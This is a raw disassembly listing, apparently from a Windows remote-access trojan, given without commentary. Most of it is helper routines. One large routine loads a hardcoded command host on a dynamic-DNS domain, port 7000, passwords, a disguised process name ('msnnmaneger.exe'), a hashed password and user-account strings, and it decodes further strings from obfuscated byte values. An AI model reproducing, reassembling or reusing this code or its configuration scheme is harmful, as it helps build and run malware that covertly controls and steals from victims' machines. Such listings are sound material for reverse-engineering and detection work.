; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_4367FA
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448D16
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448D16
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_174]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2C4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_18C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_1BC]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	bl, 1Eh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_174]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_1A4]
		call	sub_401A87
		push	offset aSaad	; "saad"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset aSaad	; "saad"
		lea	ecx, [esp+360h+var_1EC]
		call	sub_401A87
		push	offset aScop	; "#scop#"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset aS_1	; "#s"
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	offset aServec	; "servec"
		lea	ecx, [esp+360h+var_2C4]
		call	sub_401A87
		push	offset aMsnnmaneger_ex ; "msnnmaneger.exe"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	offset aWintwir	; "wintwir"
		lea	ecx, [esp+360h+var_264]
		call	sub_401A87
		push	offset aHail	; "Hail-"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aAbosal7	; "abosal7"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset aAdmin_com ; "admin.com"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset aTsinternetuser ; "TsInternetUser"
		lea	ecx, [esp+360h+var_18C]
		call	sub_401A87
		push	offset aHotfix	; "hotfix"
		lea	ecx, [esp+360h+var_144]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_CC]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_1BC]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	18h
		push	9
		push	6
		push	14h
		push	0Fh
		lea	ecx, [esp+39Ch+var_348]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 48h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_E4]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_24C]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		mov	byte ptr [esp+3D8h+var_4], 27h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 28h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 29h
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		mov	byte ptr [esp+37Ch], 2Ah
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Dh
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 2Fh
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		mov	byte ptr [esp+3CCh], 30h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 31h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 32h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		mov	byte ptr [esp+388h], 33h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
